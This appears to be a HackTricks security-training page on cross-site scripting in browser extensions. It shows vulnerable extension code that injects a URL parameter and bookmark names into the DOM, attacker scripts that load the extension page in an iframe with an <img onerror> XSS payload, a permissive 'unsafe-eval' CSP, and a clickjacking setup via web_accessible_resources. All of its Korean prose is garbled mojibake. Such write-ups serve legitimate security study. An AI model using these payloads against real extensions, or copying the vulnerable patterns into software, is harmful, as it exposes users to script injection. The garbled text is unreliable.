BrowExt - XSS ์˜ˆ์ œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Iframe์„ ํ†ตํ•œ ๊ต์ฐจ ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ… (XSS)

์ด ์„ค์ •์—์„œ๋Š” ์ฝ˜ํ…์ธ  ์Šคํฌ๋ฆฝํŠธ๊ฐ€ Iframe์„ ์ธ์Šคํ„ด์Šคํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๊ตฌํ˜„๋˜๋ฉฐ, Iframe์˜ ์†Œ์Šค๋กœ ์ฟผ๋ฆฌ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ํฌํ•จ๋œ URL์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})

๊ณต๊ฐœ์ ์œผ๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ HTML ํŽ˜์ด์ง€, message.html,์€ URL์˜ ๋งค๊ฐœ๋ณ€์ˆ˜์— ๋”ฐ๋ผ ๋ฌธ์„œ ๋ณธ๋ฌธ์— ๋™์ ์œผ๋กœ ์ฝ˜ํ…์ธ ๋ฅผ ์ถ”๊ฐ€ํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})

์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ ์˜ ํŽ˜์ด์ง€์—์„œ ์‹คํ–‰๋˜์–ด Iframe์˜ ์†Œ์Šค์˜ content ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ XSS ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„์ž…ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Iframe์˜ ์†Œ์Šค๋ฅผ ํ•ด๋กœ์šด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•˜๋„๋ก ์—…๋ฐ์ดํŠธํ•จ์œผ๋กœ์จ ๋‹ฌ์„ฑ๋ฉ๋‹ˆ๋‹ค:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`

document.querySelector("iframe").src = maliciousURL
}, 1000)

๋„ˆ๋ฌด ๊ด€๋Œ€ํ•œ ์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ… ์˜ˆ:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

JavaScript์˜ ์‹คํ–‰์„ ํ—ˆ์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ์ด XSS ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ด์ง‘๋‹ˆ๋‹ค.

XSS๋ฅผ ์œ ๋ฐœํ•˜๋Š” ๋Œ€์•ˆ์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์€ Iframe ์š”์†Œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๊ทธ ์†Œ์Šค๋ฅผ content ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์œ ํ•ดํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•˜๋„๋ก ์„ค์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)

DOM ๊ธฐ๋ฐ˜ XSS + ClickJacking

์ด ์˜ˆ์‹œ๋Š” ์›๋ณธ ๊ฒŒ์‹œ๋ฌผ ์ž‘์„ฑ์—์„œ ๊ฐ€์ ธ์˜จ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํ•ต์‹ฌ ๋ฌธ์ œ๋Š” **/html/bookmarks.html**์— ์œ„์น˜ํ•œ DOM ๊ธฐ๋ฐ˜ ๊ต์ฐจ ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…(XSS) ์ทจ์•ฝ์ ์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๋ฌธ์ œ์˜ JavaScript๋Š” **bookmarks.js**์˜ ์ผ๋ถ€๋กœ ์•„๋ž˜์— ์ž์„ธํžˆ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false

var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})

์ด ์ฝ”๋“œ ์กฐ๊ฐ์€ txtName ์ž…๋ ฅ ํ•„๋“œ์—์„œ ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๊ณ  ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ์„ ์‚ฌ์šฉํ•˜์—ฌ HTML์„ ์ƒ์„ฑํ•œ ๋‹ค์Œ, jQuery์˜ .append() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ DOM์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ Chrome ํ™•์žฅ์˜ ์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…(CSP)์€ ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ โ€˜unsafe-evalโ€™๋กœ CSP ์™„ํ™”์™€ jQuery์˜ DOM ์กฐ์ž‘ ๋ฉ”์„œ๋“œ ์‚ฌ์šฉ(์ด ๋ฉ”์„œ๋“œ๋Š” DOM ์‚ฝ์ž… ์‹œ eval()์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ „๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด globalEval()์„ ์‚ฌ์šฉํ•จ)์œผ๋กœ ์ธํ•ด ์—ฌ์ „ํžˆ ์•…์šฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ ์ค‘์š”ํ•˜์ง€๋งŒ, ๊ทธ ์•…์šฉ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค: ํŽ˜์ด์ง€ ๋ฐฉ๋ฌธ, XSS ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ, โ€œ์ถ”๊ฐ€โ€ ๋ฒ„ํŠผ ํ™œ์„ฑํ™”.

์ด ์ทจ์•ฝ์ ์„ ๊ฐ•ํ™”ํ•˜๊ธฐ ์œ„ํ•ด, ๋‘ ๋ฒˆ์งธ ํด๋ฆญ์žฌํ‚น ์ทจ์•ฝ์ ์ด ์•…์šฉ๋ฉ๋‹ˆ๋‹ค. Chrome ํ™•์žฅ์˜ ๋งค๋‹ˆํŽ˜์ŠคํŠธ๋Š” ๊ด‘๋ฒ”์œ„ํ•œ web_accessible_resources ์ •์ฑ…์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

ํŠนํžˆ, /html/bookmarks.html ํŽ˜์ด์ง€๋Š” ํ”„๋ ˆ์ด๋ฐ์— ์ทจ์•ฝํ•˜์—ฌ clickjacking์— ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ๊ณต๊ฒฉ์ž์˜ ์‚ฌ์ดํŠธ ๋‚ด์—์„œ ํŽ˜์ด์ง€๋ฅผ ํ”„๋ ˆ์ž„์œผ๋กœ ์„ค์ •ํ•˜๊ณ , DOM ์š”์†Œ๋กœ ๋ฎ์–ด์”Œ์›Œ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ๊ธฐ๋งŒ์ ์œผ๋กœ ์žฌ์„ค๊ณ„ํ•˜๋Š” ๋ฐ ํ™œ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์กฐ์ž‘์€ ํ”ผํ•ด์ž๊ฐ€ ์˜๋„์น˜ ์•Š๊ฒŒ ๊ธฐ๋ณธ ํ™•์žฅ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ